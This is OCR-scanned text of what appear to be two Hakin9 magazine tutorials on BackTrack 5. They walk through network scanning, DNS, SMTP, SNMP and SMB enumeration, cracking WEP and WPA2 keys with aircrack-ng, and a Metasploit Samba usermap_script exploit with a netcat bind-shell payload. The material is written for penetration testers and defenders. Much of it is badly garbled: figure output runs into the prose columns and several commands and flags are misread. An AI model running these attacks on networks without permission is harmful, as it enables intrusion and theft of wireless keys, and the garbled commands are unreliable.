(Figure 14).
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tools included in BT5 that are used to map ad-

T —— ditional specific services and they should be ex-
& Mmap 6.00 scan initiated Wed May 23 20:06:53 2012 as: nmap -3V -0 -v -ob neap/sy_targets_servic . . .

oy Scan reort o gastasploatable (192.166.2.232 amined further for a more in-depth discovery and
ot shown: 951 5;;;;3;% —— mapping of a network. Examples of some spe-
Tty doin 10 Wicrossft ESHTP 6.0, 2600, 2190 cific internal services that are valuable sources
B0stcp  open hitp Microsoft IIS httpd 5.1 . . . .
iRl e e et Biadna e of information include DNS, database services

ﬂ%ﬁ;g ﬁg::j\ Il‘}ir‘;:nfrdﬁ Microsoft Windows XP sicrosaft-ds SUCh aS MSSQL and MySQL, SNMP, VOIP and

1025/tcp epen  msrpc Microsett Wandews RPC

1433/4cp openws-sglos Microsoft SO Server 2005 9.00.13%9; RTM ma]l SeerceS BT5 InCIUdeS a myrlad Of tOOIS or-
MAC Address: O9:00:27:E6:EA:20 (Cadmus Computer Systems) . . . .
E’-‘Z:fi?’tyﬁ%’ﬁ:;:a‘:":ﬁ::s-:i"““.. e . ganlze.d by service t.ype in the main BackTragk
os méi?f'ﬁfL:-;EETT°uu'.33:~,°$‘$'.’uiZE;LﬁnﬁleEEE"ﬂ? Windovs Server 2003 T folder in the Applications menu, or in /pentest/ in
!::'g;qughzgam:ﬁiltﬁgz Difficulty=263 (Good luck!) the term|na|

IP ID Sequence Generation: Incremental
Service Infe: 05: Windaws: CPE: cpe:/o:microsoft:windows

e Wireless Security Assessment

L ST BackTrack 5 contains all the tools necessary for
i B R a wireless security assessment and penetra-
[Z5/tcp  open  satp Postfix smtp B . . . . .

313\:2: x::: lds::;m :psgcﬁulztgp‘d‘;zo { (Ubuntu) n.PJS.z.d-Zubuntus.lo with Suhosin-Patch) tlon teSt' ThIS SeCtlon WI” CoYer the baSIC. usag-
D D e ey o 3 o ) es of a set of tools for assessing the security of a
J6/tep open mysql MySOL 5.0.50a- Jubuntub .

LS e o Ponjrag Pl mane sy, wireless network.

R vt 80027802155 Cui . reton) aircrack-ng I8 @ command-line tool, but also re-
iR LA 2K fers to a suite of tools used to for a wireless security
06 iotuiins i 24 8+ 5600 t. The tools that will b dt

&:ue quess; 0,002 days (since Wed May 23 20:03:44 2012) assessment. e OO.S atwi € covered 10 per-
1 Sanuence Prediction: 0¢ficutty-20) (Gond ek form an assessment include ai rmon-ng, airodump-ng,
gri?{??::g:—!lj::frd::‘t‘:;pt&};:;:?lnm'ldr.\l:\in: 0Ss: Unix, Linux: CPE: cpe:/o:linux:kernel aireplay-ng, and aircrack-ng. There are more tOOIS
Figure 13. Determining the Network XII within the aircrack-ng toolkit that should be exam-

ined, however these will allow you to perform a ba-
sic assessment.

Settings Help

Interface Chipset Driver

wlano Ralink RT2870/3070 rt280cusb - [phy3]

root@bt : ~/PenTest# |

marks Settings Help

root@bt:~/PenTest# airmon-ng start wlan®

Found 2 processes that could cause trouble.
If airodump-ng, alreplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Mame

1052 dheclient3

6367 dheclient3

Process with PID 6367 (dhclient3) is running on interface wlan@

Figure 14. Zenmap Utilities

Interface Chipset Driver
Now you have discovered open ports, the ser-  |yiano Ralink RT2876/3070 rt2800usb - [phy3]
vices on those ports, and the versions of the (monitor mode enabled on mon®)

software running, you can perform a vulnera- |rostabt:-/PenTest# airmon-ng
bility assessment to find any potentially exploit-

able services, which will be covered in the next |interface chipset Driver
sec‘Flon. These §teps above descrlpe SOMe Very g Ralink RT2870/3070 rt2800usb - [phy3]
basic steps of discovery and mapping for an in-  [vlano Ralink RT2870/3070 rt2800usb - [phys3]

ternal assessment. There are many additional Figure 16. Determining the Network XIV
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The first step is to use airmon-ng to manage your
wireless adapter. By running the command with no
options, you can see the wireless adapters avail-
able in BTS (Figure 15).

In order to capture packets, you need to use air-
mon-ng to put your wireless adapter into monitor
mode. You can also specify a channel to listen on if
you know the channel the AP you are testing is on,
otherwise it will roam on all channels (Figure 16).

Next, run airodump-ng With no options to start
looking for wireless networks within range. With
this tool, you can see the security in use on each
Wireless Access Point (AP) in range in the top
half, as well as all the wireless clients and which
AP they are associated with in the bottom half.
Once you determine which AP you are testing,

CH 9 ][ Elapsed: 32 5 || 2012-05-73 71:03

BSSID PWR  Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00: 22: 75:48: A5: 03 -49 ] 0 0 & S48 WP WEP
©0:18:4D:86: FE:DE -54 12 11 @ T 54 . WEP WEP

00; 18:39:F9: 4A:54 -70 11 o 0 & 94 WEF WEP
68:7F:74:A3:EB:ED .74 17 &8 B 1 Sde WPA2 CCMP PSK
B8: /F: 74: AZ:EB:EE - 16 ] 0 1 S4¢ OPN

BSSID STATLON PWR Hate Lost Frames Probe
{not associated)  88:53:28:00:(0:C1 60 6-1 0 2
00:18:4D:86:FE:DE 00:0E:35:E5:80:30 -64 54 .54 0 4
00:18:4D:86:FE:DE  00:21:50:0C:BA:9%6 -66 36 - 1 0 L]

Figure 17. Determining the Network XV

press ‘space’ to lock the results and copy the
BSSID (MAC) of the AP. Also note the channel
that it’'s on and security information such as en-
cryption and authentication type, and stop the
capture (Figure 17).

bt:-/PenTests airodump-ng -w wifisAPlcap --bssid 00:22:75:48:45:C3 - -channel & mono

CH 6 ][ Elapsed: & mins |[ 20012-06-23 21:16

BSSID FWR RXQ Beacons #Data, #fs CH HBE ENC CIPHER AUTH ESSID

00:22:75:4B:A5:C3  -50 100 4823 1705 @ & Sde WEP WEP 0PN

BSSID STATION PWR. Rate Lost Frames Probe

00:E2: 75: 48: A0: L3 DO LA O 9FFS: JE -46 S4e-04 ] 1%

00:22:75:4B:45:C3  88:53:26:0C:C0: 1 -127 le-5de L] 555
00:22:75:48:A5:C3 BE:S3:26:0C:CD:C1  -127 la-S4e 0 55
00:22:75:4B:A5:C3  00:22:58:35:C1:0C  -127 Da- O 0 8

Figure 18. XV/

Now start airoaqump-ng again, but this time with op-
tions that specify the AP and channel, as well as to
specify the output file you wish the save the capture
to (Figure 18).

Explanation:

* -w wifi/apicap: output the capture to the speci-
fied file

* —-bssid: MAC of the AP you want to test

* ——channel 6: locks the channel to 6 (optional)

* mono: interface setup with airmon-ng

www.hakin9.org/en
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Now you are capturing data specified for that AP
on that channel, and saving it to the specified file
file. If the encryption type is WEP, then you need
to capture a certain amount of Initialization Vec-
tfors (IVs), which can be seen as Beacons in the
airodump-ng Output, in order to obtain the WEP key.
If the encryption type is WPA, then you need to
capture a handshake which occurs anytime a cli-
ent associates with the AP. If you're lucky, enough
IVs will be generated or a client will associate with
the AP within a few minutes, but that is often not
the case.

For generating traffic to get enough IVs to crack
the WEP key, or to perform a dissociation attack
against a client already associated with the AP in
order to capture a handshake when they automati-
cally re-associate, use airepiay-ng. Keep in mind
that your wireless adapter must support injection;
see the list of compatible adapters at http:/www.
aircrack-ng.org/doku.php?id=compatible _cards.

Since the AP in this example is WEP, Vs need
to be generated while the capture is taking place.
This can be done using a combination of 2 attacks
in aireplay-ng. The first is a fake authentication at-
tack, which authenticates you with the AP which

roatght: - /PonTeste aireplay.ng -1 0 . a 00:22:75:48:45:C3 -h 00:c0:ca:32:0d: 74 son0
21:20:44 Warling for beacon frame [BSSTD: 00:22:75:4B:85:03) on channel &

Z1:29:44 Sending suthentication Request (Open System) [ACK]
21:29:44 Authentication successful

21:20:44 Sendang Association Request [ACK]

21:20:44  Associalion successful :-} (AID: 1}

roatolt: - /PenTeste aireplay-ng -3 -b 00:22:75:40:45:C3 -h 00:c0:ca:32:5d: 74 mond
#1:30:36 wWaiting for beacon frame (BSSTD: O0:22:75:48:85:C3) on channel 6
Saving AP requests o replay_arp- 0533 213036 cap

fou should also start airodump-ng to capture replies.
Eead 16456 packets (got 4965 ARP requests and 3825 aCKs), sent 7333 packets... (499 pps)

Figure 19. XVl

will allow you to inject ARP packets to create net-
work activity. You need the BSSID address as well
as the MAC address of the wireless adapter you
are injecting with (Figure 19).

Explanation:

+ -1: selects fake authentication attack

* 0. reassociation timing in seconds

* -c: wireless network name (SSID)

* -a: MAC of the AP (BSSID)

* -n: MAC of the wlan adapter you are using
* nono: interface name you are using

+ -3: selects arp request replay attack

* -u: MAC of the AP (BSSID)

* -n: MAC of the wlan adapter you are using
* nono: interface name you are using

Finally, you can use aircrack-ng and the wireless
packet capture you just generated to crack the
WEP or WPA key. A handy tip with the WEP crack
is that you can use aircrack-ng on the capture

HaHIN9 /.
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file while the capture is happening. So you can
start the cracking process with aircrack-ng while in-
jecting until you've captured enough packets where
the crack is successful and then you can stop the
capture (Figure 20).

Explanation:

* -b: MAC of the AP (BSSID)
* wifi/APlcap-01.cap. capture file with IVs

r FenTes
Opaning wifi ARl
Attack vall be reste
starting FTW attack with 10461 iv

ack-ng -b 00:22:75:40:A5:C3 waf1/APlcap-0L.cap

mircrackeng 1.1 ragme

[00:02:48] Tested 203 keys {got 52326 Ivs)

SI) 27(61952) ¥5(60672) &

KEY FOUND! | CA 8t |
Becrypted corrictly: 1006

renteste |

Figure 20. XVl

WEP keys tend to be cracked pretty quickly, once
a certain amount of 1Vs are obtained. For WPA,
once you capture a handshake, you perform
a dictionary attack against the handshake and
hope the key is in the dictionary. BTS comes with
a small word list, but additional word lists can be
used as well. Here is an example of WPA crack-
ing with a pre-captured handshake: Figure 21.

Penlest# aircrack-ng -w Jeuston_dict.txt -b 9C:
Ppening Srootfe/wpa2_handshake. cap

Reading packetls. please wall...

:AL -/¢/wpa2 handshake . cap

KEY FOLMD! | 1 a |

Haster Key B4 [ 24 04 HA BB BE 74 46 BH DA 3A 35 EE 93 B

SFASCF 9 EE 17 LE 9F 4E EY B4 5B 9C D1 86 48
Transient Key 86 A3 F7 A2 6C 4E EE CD AB FB 5B 7D %0 [O Al 07
D7 A6 46 B6 38 78 60 BE 60 30 28 68 DD 3A 42 &F
70 D2 DO A4 S4 ©]l 2508 28 58 57 AB 16 3 BY EE
1A 3E AS 54 F4 FE AF 2A 22 AD B4 C6 51 FS 4F B3

FAPOL HMAC
otght : ~/Penleste [l

34 98 3] SB DA B2 BC 75 9F 6O AZ 80 30 1A 45 5D

Figure 21. XIX

Explanation:

* -u: location of dictionary
* . MAC of AP (BSSID)

This shows that WPA2 is only as strong as the
key; as long as the key is not in the dictionary,
it will not be cracked. BT5 contains a word list in
the /pentest/passwords/wordlists directory. Cus-
tom word lists can be stored here (or anywhere),
and some other application have word lists,
like John the Ripper, in the /pentest/passwords
/30ohn directory.
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These are the steps required to perform a ba-
sic penetration test of a wireless network using
the Aircrack-ng toolkit. There are other tools,
such as Kismet, which is also used for discovery
and packet captures like airodump-ng, that may
be better at finding hidden wireless networks and
have additional features. If you are assessing a
specific wireless network and are having trouble
with one tool, it'’s best to try the other. If you find
the wireless network you are attempting to pen-
etrate is protected with an authentication server,
then you will require more than these tools can
offer to succeed.

Conclusion

The small amount of tools covered in part 1 of this
article displays how powerful and useful BackTrack
5 can be just by knowing how to use these tools.
Part 2 will cover some even more powerful tools
and the effective ways to use them to find and ex-
ploit vulnerabilities to test the effectiveness of the
security in place. What you should take away from
this article is that there are many effective tools al-
ready available, and the majority of these tools are
included in BackTrack 5. These tools and their use
should be examined further to determine how ef-
fective they can be for security assessments and
penetrations tests.
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Backtrack 5

Practical Applications And Use Cases

This article breaks down what Backtrack Linux is, with a brief
description and history. Then, we'll explore a sampling of
some of the many tools that are packaged within Backtrack
Linux and provide use cases along with step-by-step
tutorials to demonstrate some of the more common tasks
that Backtrack is used to perform. Finally, we'll see how most
of the tools and techniques that Backtrack is designed to
facilitate can be used by the many different roles in the IT

security field.

torial on every tool within Backtrack, or every
conceivable use one can find for Backtrack.
I am not an expert per se, just an avid fan and us-
er. | have experience on both sides of the Infosec
spectrum.
| have been a security analystlincident re-
sponder tasked with defending organizations’
networks and info systems, and | have been a
penetration tester tasked with trying to break into
similar systems and networks. In either role (of-
fensive or defensive) | have found Backtrack an
invaluable tool in my tool box.
| plan to take some of the core functionality and
tools in Backtrack 5, describe their use cases, and
demo common tasks that security professionals
use them for on a daily basis.

T his article is by no means an all-inclusive tu-

History

Backtrack Linux is a custom Linux distribution de-
signed to aid security professionals with attack
simulation, vulnerability identification and verifi-
cation, and general penetration testing activities.
Backtrack was the end result of a combination of
two separate (competing) security distributions.
WHAX (formerly Whoppix) a security distro devel-
oped by Mati Ahoroni and Auditors Security Collec-
tion, developed by Max Moser were combined to
create Backtrack.
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Backtrack version 4 and up are based on Ubun-
tu. The most recent release, as of this writing, is
Backtrack 5 R2 which runs a customized 3.2.6
Linux Kernel. This release touts many new tools
and improvements, some of those being better
support for wireless attacks, the Metasploit Com-
munity Edition (4.2.0) and version 3.0 of the Social
Engineering Toolkit. You can see more of the tools
and release info here: http://www.backtrack-linux.
org/backtrack/backtrack-5-r2-released/.

You can download the latest (along with earlier
releases) Backtrack release in ISO or VMware im-
age formats from http://www.backtrack-linux.org.

It is true that most of the tools that come bun-
dled within Backtrack can be downloaded sepa-
rately and do not require Backtrack to run. What
makes Backtrack an ideal tool is that its entire en-
vironment is setup with security testing in mind.
From the tools, scripts, dependencies, libraries
and system configurations, every aspect of the
end user experience in Backtrack has been set
up to enable the user to perform security testing
quickly, with limited to no configurations having
to be made, since Backtrack is set up in a “turn
key” fashion.

| won’t say that Backtrack is the only OS | run
during penetration tests. | usually have several
systems going. But, | always have at least a Back-
track VM running because if | need a tool, and |
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Backtrack 5 Practical Applications And Use Cases

don’t have Internet access to download it or | don’t
have the time to configure it on a machine, more
often than not it's sitting on my Backtrack VM,
ready to go with no configuration required. Similar-
ly, when in a security analyst (defensive) role, hav-
ing quick access to the pre-configured Backtrack
environment reaps similar benefits when on a pen
test and when needing to perform quick network
analysis, or verify a vulnerability.

Mediums
Backtrack 5 R2 can be installed or run in several
different ways. It is designed to be portable and as
such can easily be installed onto USB Hard Drives
or “Pen Drives” as they’re sometimes called. Also,
you can burn the downloaded ISO to create a live
boot DVD and boot it from a disc. You can also
choose to install it onto your computer, or run it as
a virtual machine by using the VMware image.
What follows is a brief tutorial on installing Back-
track 5 R2 (BT5R2) on a thumb drive. Take note
that without modification this generic USB install
does not support “persistence” or the ability to
maintain changes to the OS after rebooting. There
are tutorials on the Internet to install BT5R2 with
persistence on USB drives.

USB Install
You'll need to download and install UNetboo-
tin from http://sourceforge.unetbootin.net (or use
“apt-get install unetbootin” on Ubuntu). Note that
UNetbootin is already installed in BT5R2.

You'll also need to have downloaded the ISO im-
age from the Backtrack website.

« Format the USB stick. | chose FAT32.

* Run UNetbootin, select the Disk Image option,
then browse to the BT5R2 ISO you download-
ed earlier

™ & UNetbootin

¢ DislribuLivn |== select Distribution == ¥| [== Select version == =|

Welcome to UNetbootin, the Universal Netboot Installer. Usage:
1. Select a distribution and version to download from the list above, or

manually specify files to load below.
2. Select an installation type, and press OK to begin installing.

{* Diskimage ]ISO j Ia.fpipeﬁsthesktopfthrEIthrZ_iso
Space used to preserve files across reboots (Ubuntu only): | 0 = m8
Type: |USB Drive x| Drive: | = | oK [ Cancel |

T

Figure 1. UNetbootin ToolsManager
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+ Select the USB drive letter of the USB stick
you'd like to install BT5R2 on

* Then click OK. Figure 1 shows the UNetbootin
interface.

Tools w/ Practical Applications

We've already established that the power behind
BT5R2 is the array of security tools that are in-
stalled. I'll try to break the tools into broad catego-
ries and briefly go over some quick tutorials on us-
ing them. This will not cover every tool in BTS5R2.
We'll simply cover what | consider the core tools.
I'd like to reiterate that | understand there are a
myriad of tools out there that can return similar da-
ta. I'm simply outlining the tools that are bundled
and already configured within BT5R2.

I’d like to highlight the fact that these tools are
not only useful for penetration testers. Consid-
er this: When performing vulnerability scans on
your company'’s network, wouldn’t you like to be
able to verify scan output by testing if some of
the reported vulnerabilities are really a threat?
With the tools within BT5R2 you can. Or, if you're
auditing passwords for a company, wouldn’t you
like to be able to attempt to crack them with com-
mon password attacks to see if they conform
to password policies? Again, the tools within
BT5R2 allow you to do just that. The point is that
the techniques and attacks that BT5R2 supports
can be used by both offensive and defensive se-
curity professionals.

Not to insult my readers, but let's start form
the VERY beginning. Once you boot up BT5R2
(whether it's from a USB\DVD or a VM) you will
need to log in. By default the login is ‘root’ and the
password is ‘toor’ (without quotes). Once logged
in you can start the graphical user interface (GUI)
with the command ‘startx’.

Footprinting and Fingerprinting
Whether you're a white hat or black hat hacker, the
first step before you actually attack is footprinting
and fingerprinting: actively and passively gather-
ing as much information as possible about a tar-
get and finding out how many assets are available
(aka figure out your attack surface). Even if you're
not a penetration tester, understanding what oth-
ers can discover about you or your organization
can help you mitigate risk before it is discovered by
the bad guys. There are several de facto services
that should be interrogated to see if they yield in-
teresting information that could be used by you (or
an attacker) to assist in further attacks.

Many of these techniques can be performed by
automated vulnerability scanners like Tenable’s
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Nessus (which is bundled within BT5R2). | think
it's important to understand how to use some dif-
ferent tools and scripts to get this info as well, and
it helps to highlight BTSR2’s arsenal.

Honorable Mention: | could do an entire write-up
on the Open Source Intelligence gathering tool by
Peterva called Maltego. There is a Backtrack spe-
cific version bundled in BT5R2. | suggest you re-
search that tool on your own.

Discovery

You need to find out what assets are available to
attack first. This is usually done with probe and re-
sponse methods. This is not a deep dive on port
scanning methodology. This will simply be a means
to see what hosts a target has online using several
different tools and network protocols. (Note: for ex-
ternal assessments\attacks many people choose
to use passive methods first, namely public DNS

Listing 1. Pentest Via Backtrack |

COMMAND 1 root@bt:~# nmap -sn 192.168.188.0/24

Starting Nmap 5.61TEST4
Nmap scan report for 192.168.188.1
0.00037s latency) .
00:50:56:C0:00:08

http://nmap.org

Host is up
MAC Address Vmware
Nmap scan report for 192.168.188.2

0.00017s latency) .
00:50:56:EC:DB:56

Host is up
MAC Address Vmware
Nmap scan report for 192.168.188.129
Host is up.

Nmap scan report for 192.168.188.254
0.00026s latency) .
00:50:56:E3:D0:50

Host is up

MAC Address Vmware

Nmap done: 256 IP addresses (4 hosts up

COMMAND 2 root@bt:~# nmap -sn -PS 192.168.188.0/24
Listing 2. Pentest Via Backtrack Il
root@bt:~# nmap -sS -sV 192.168.188.0/24

Starting Nmap 5.61TEST4 ( http://nmap.org

00:50:56:C0:00:08
0S8 CPE

MAC Address VMware

Service Info Linux cpe:/o:linux:kernel

at 2012-05-23 13:04 EDT

scanned in 3.81 seconds

at 2012-05-23 13:23 EDT

Warning: Servicescan failed to fill cpe a (subjectlen: 320, devicetypelen: 32). Too long? Match
string was line 491: d//

Nmap scan report for 192.168.188.1

Host is up (0.00023s latency) .

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Pure-FTPd

22/tcp open ssh OpenSSH 5.9pl1 Debian 5Subuntul (protocol 2.0

80/tcp open http Apache httpd 2.2.22 Ubuntu

902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP
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Listing 3. Pentest Via Backtrack Il

root@bt:/pentest/enumeration/dns/dnsenum# ./dnsenum.pl hakin9.org -f dns-big.txt
dnsenum.pl VERSION:1.2.2

————— hakin9.org  -----

Host's addresses:

hakin9.org 5 IN A 79.125.109.24

Name Servers:

dns3.home.pl 5 IN A 95.211.105.225
dns2.home.pl 5 IN A 62.129.252.41
dns2.home.pl 5 IN A 62.129.252.40
dns.home.pl 5 IN A 62.129.252.30
dns.home.pl 5 IN A 62.129.252.31
Mail (MX) Servers:

ASPMX2 .GOOGLEMAIL.COM 5 IN A 74.125.43.27
ASPMX.L.GOOGLE .COM 5 IN A 173.194.68.27
ALT1.ASPMX.L.GOOGLE.COM 5 IN A 173.194.78.26
ALT2.ASPMX.L.GOOGLE.COM 5 IN A 173.194.65.27

Trying Zone Transfers and getting Bind Versions:

Trying Zone Transfer for hakin9.org on dns2.home.pl
AXFR record query failed: NOERROR

dns2.home.pl Bind Version: home.pl dns server admin@home.pl

Trying Zone Transfer for hakin9.org on dns3.home.pl
AXFR record query failed: NOERROR

dns3.home.pl Bind Version: home.pl dns server admin@home.pl

Trying Zone Transfer for hakin9.org on dns.home.pl
AXFR record query failed: NOERROR

dns.home.pl Bind Version: home.pl dns server admin@home.pl
Wildcards detected, all subdomains will point to the same IP address, bye.

www.hakin9.org/en
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interrogation and some Google web hacking tech-
niques. We’'ll discuss DNS interrogation next).

A quick way to see if hosts are online is to see
if they respond to ICMP echo request (aka ping).
The tool that most folks use in a *nix environ-
ment for doing any kind of port scanning is nmap
by Fyodor. You can perform a quick ping sweep
(shown as command 1 in Listing 1) to see if hosts
are alive. In the command 1 the -sn switch in-
structs nmap not to port scan, the result is only
ping, and the target is the 192.168.188.0/24 CIDR
block range. Nmap will now ping all of the host
addresses in the 192.168.188 network and check
if they’re alive. Some systems may not respond to
ICMP, so you can use an alternative nmap com-
mand to check if a host is alive. The -PS’ switch,
tells nmap to use a TCP SYN Ping. The default
is to send an empty SYN packet to port 80 (see
command 2, Listing 1). The result should be a
TCP RST packet back from the target, which in-
dicates it is online. Note that discovery scans can
be thwarted by intermediary devices like firewalls
and proxys. Note you can perform UDP scanning,
but since UDP is stateless the scanning results
can be flakey at best. | usually only scan UDP for
specific services (like DNS, TFTP, etc).

Service\OS Information

Once you have determined what hosts and net-
works are alive, you can begin to fingerprint what
services and operating systems are on the hosts.
Sometimes the two steps (discovery and host\ser-
vice enumeration are combined, but for educa-
tional purposes | broke them up). This is an ac-
tive approach and may be detected by your target.
Again, automated vulnerability scanners can be
used to perform this activity, but for our purposes
we’'ll use nmap. Nmap can not only tell if a port
is alive, but it can also grab the banner of the lis-
tening service to report what nmap thinks it is,
along with version information. Example is in List-
ing 2. The *-sS’ switch tells nmap to use a SYN
scan, and the ‘-sV’ switch has nmap try to pull
version info from services. Nmap by default hits
common ports (those between 1-1024 and other
common ones like 8080 etc.). You can pass the
‘-p’ option to specify ports, as well.

DNS Interrogation

DNS can hold a treasure trove of information. Be it
public Internet facing DNS or internal DNS, one of
the primary pieces of info you can find is hostnam-
es. These names can be descriptive enough to

Listing 4. Pentest Via Backtrack IV

127.0.0.1

Starting smtp-user-enum vl.2

Mode
Worker Processes
Usernames file
Target count
Username count
Target TCP port
Query timeout

Target domain

127.0.0.1: root exists
1 results.

5 queries in 1 seconds (5.0 queries / sec

root@bt:/pentest/enumeration/smtp/smtp-user-enum# ./smtp-user-enum.pl -M VRFY -U users.txt -t

http://pentestmonkey.net/tools/smtp-user-enum

######## Scan started at Mon May 21 00:48:29 2012 #########

######## Scan completed at Mon May 21 00:48:29 2012 #########
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Listing 5. Pentest Via Backtrack V

root@bt:/pentest/enumeration/snmp/snmpenum#
./snmpenum.pl 10.1.17.114 public windows.txt

VMware Tools

WebFldrs

—————————————— OUTPUT SNIPPED DUE TO LENGTH
USERS

Guest

Administrator

TsInternetUser

IUSR_WINZOOOSVR
IWAMﬁWINZOOOSVR
NetShowServices

System Idle Process
System

dns.exe

dllhost.exe
Smss.exe

Ccsrss.exe

winlogon.exe

—————————————— OUTPUT SNIPPED DUE TO LENGTH
SYSTEM INFO
Hardware: x86 Family 6 Model 14 Stepping 5 AT/AT
COMPATIBLE - Software: Windows 2000 Version 5.0
(Build 2195 Uniprocessor Free
LISTENING TCP PORTS

Messenger
DNS Client
DNS Server

WORKGROUP

Listing 6. Pentest Via Backtrack VI

root@bt:/pentest# smbclient -L 10.1.17.114

Enter root's password:

session request to 10.1.17.114 failed (Called
name not present)

session request to 10 failed (Called name not
present)

Anonymous login successful

Domain=[WORKGROUP| 0S=[Windows 5.0
Server=[Windows 2000 LAN Manager]

Sharename Type Comment

IPCS IPC Remote IPC
ADMINS Disk Remote Admin
C$ Disk Default share

session request to 10.1.17.114 failed (Called
name not present)

session request to 10 failed (Called name not present)

Anonymous login successful

Domain=[WORKGROUP] 0OS=[Windows 5.0]
Server=[Windows 2000 LAN Manager]

Comment

root@bt:/pentest/python/impacket-examples#
python samrdump.py 10.1.17.114
Retrieving endpoint list from 10.1.17.114
Trying protocol 445/SMB...
. WIN2000SVR
Builtin
Looking up users in domain WIN2000SVR
Administrator, uid = 500
Guest, uid = 501
IUSR WIN2000SVR, uid = 1003
IWAM WIN2000SVR, uid 1004
NetShowServices, uid = 1001
TsInternetUser, uid = 1000
Administrator (500)/Enabled: true
Administrator (500)/Last Logon: Wed, 18 Aug 2010
19:28:32
Administrator (500)/Last Logoff:

Found user:

Found user:

Found user:

Found user:
Found user:

Found user:

www.hakin9.org/en
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help triage which targets to go at first. Also, it may
show you targets or networks that you didn’t know
about. Rob Fuller (aka Mubix) has done some re-
ally fascinating research on the different bits of in-
formation you can glean from DNS. Check out his
research at the following link: http://www.room362.
com/blog/2012/2/3/a-textfiles-approach-at-gather-
ing-the-worlds-dns-slides.html.

From your discovery scanning above you should
be able to locate hosts with UDP port 53 open.
Those are prime candidates to perform DNS inter-
rogation against.

The types of information | usually look to find
in DNS is mail servers, hostnames that | can use
to determine server functions, and sub domains
which may yield previously unknown targets or
networks. The tool within backtrack | lean on is
dnsenum.pl.

Dnsenum.pl (within BT5R2 located at /pentest/
enumeration/dns/dnsenum) is a perl script that per-
forms some of the key DNS interrogation oper-
ations at once. It can perform forward\reverse
DNS brute force lookups, gather whois info, per-
form zone transfers and sub-domain discovery
by common names\netblocks. The tool already
has a list of common subdomains, names for
bruteforcing within the /pentest/enumeration/dns
/dnsenun directory.

In Listing 3 you'll find a demo use and output ex-
amples. The script along with arguments is high-
lighted in red. I've given the script a target domain
(hakin9.org) and the -+ parameter and specified a
file to use for sub domain brute forcing.

SMTP Interrogation

The Simple Mail Transport Protocol (SMTP) is
usually interrogated by attackers to try to list
usernames and email addresses to aid in cre-
ating user lists for brute force attacks on other
services. The idea being that usernames (and
sometimes passwords) persist across different
services and applications.

A poorly configured SMTP (mail) server can
divulge whether or not a username is valid
based on a response code. Attackers will use
dictionaries of common usernames and check
for a positive response from the SMTP server.
There is a script that automates this attack with-
in backtrack called smtp-user-enum.pl located
under the /pentest/enumeration/smtp/smtp-user-
enun directory.

Attackers connect to listening SMTP services
and attempt to use several different methods to
check if a username is correct. Using the SMTP
VRFY (verify) command against a username will
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try to “verify” if that address is correct. The serv-
er responds with either a positive or negative re-
sponse, if not properly hardened.

In Listing 4 you’ll see the output of running
the script with the VRFY method, a text file
called users.txt as the userlist file against the
127.0.0.1 target.

We see in the above output the user “root” exists
on that system. Obviously the root user will always
exist, this is just to demo the SMTP enumeration
script. Notice there are several SMTP commands
that the script accepts: VRYF, EXPN, and RCPT.
You can set which command is used via the -M
switch.

SNMP Interrogation

| hope you see a theme here. We will now look
at a Simple Network Management Protocol
(SNMP) interrogation script that is sitting ready
for us to use on BT5R2. It’'s called snmpenum.
,D/ located under the /pentest/enumeration/snmp/
snmpenum directory. The types of information you
can get from SNMP are usernames, installed
services, operating system versions, and some-
times more. SNMP uses a simple means for
authentication of probe requests, namely text
strings. The “read” or public string (which ironi-
cally is set to literally: public in many default set-
ups) and the “read\write” or private string (again
default set to private oftentimes). If an attacker
can guess the SNMP string that attacker can list
all sorts of good information. In some extreme
cases if the attacker has access to the private
string they can change\upload the configura-
tion of devices (like routers and switches). The
snmpenum.pl script also has several text files
(windows.txt, linux.txt, cisco.txt) that map Man-
agement Information Base (MIB) Object Identifi-
ers (OID) values to more easily readable format.
So, you’ll want to use the correct file for the type
of device you're interrogating.

Most commonly SNMP info is used to build
more userlists for future brute forcing activities. In
some rare instances you may find a router or fire-
wall with a default private string. If that is the case
you can use SNMP to TFTP the configuration to
your waiting TFTP server, change the password
and TFTP the new config back up. Then you can
log into the router!

In Listing 5 you'll see the simple use of the script
to gather info from a target's SNMP service. |
have used the community string “public” and used
the windows.txt file since | know the target is a
WIN2000 server. | have snipped some of the out-
put because it was very long.
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Listing 7a. Pentest Via Backtrack VIl

msf > search usermap

Matching Modules

Name Disclosure Date Rank Description

exploit/multi/samba/usermap script 2007-05-14 excellent Samba "username map script" Com-
mand Execution

msf > use exploit/multi/samba/usermap script

msf exploit (usermap script) > set RHOST 10.1.17.104

msf exploit (usermap script) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

cmd/unix/bind inetd normal Unix Command Shell, Bind TCP (inetd)
cmd/unix/bind netcat normal Unix Command Shell, Bind TCP (via netcat -e)
cmd/unix/bind netcat ipvé normal Unix Command Shell, Bind TCP (via netcat -e)
IPV6

cmd/unix/bind perl normal Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind perl ipvé normal Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind ruby ipvé normal Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic normal Unix Command, Generic command execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP
(telnet)

cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat
-e)

cmd/unix/reverse perl normal Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse ruby normal Unix Command Shell, Reverse TCP (via Ruby)

msf exploit (usermap script) > set payload cmd/unix/bind netcat
msf exploit (usermap script) > show options
Module options (exploit/multi/samba/usermap script) :

Name Current Setting Required Description

RHOST 10.1.17.104 yes The target address
RPORT 139 yes The target port

Payload options (cmd/unix/bind netcat) :

www.hakin9.org/en
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SMB\NFS Interrogation

SMB can sometimes display a myriad of useful in-
formation, such as SMB shares that are on a tar-
get, usernames, OS version, domain membership,
and software installed.

If SMB or NFS shares are anonymously acces-
sible to an attacker or penetration tester they can
sometimes hold valuable information that can be
used in further attacks, examples being config files,
password lists, and SSH keys. The list is endless.

You can simply issue the commands outlined
in Listing 6 to list SMB shares on a target ma-
chine. Simple press the enter key when prompt-
ed for root’s password. Also, in Listing 6 you can
see that BT5R2 has included Core Security’s free
samrdump.py python script. You see how it lists
the usernames on the target via SMB (the second
red highlighted command).

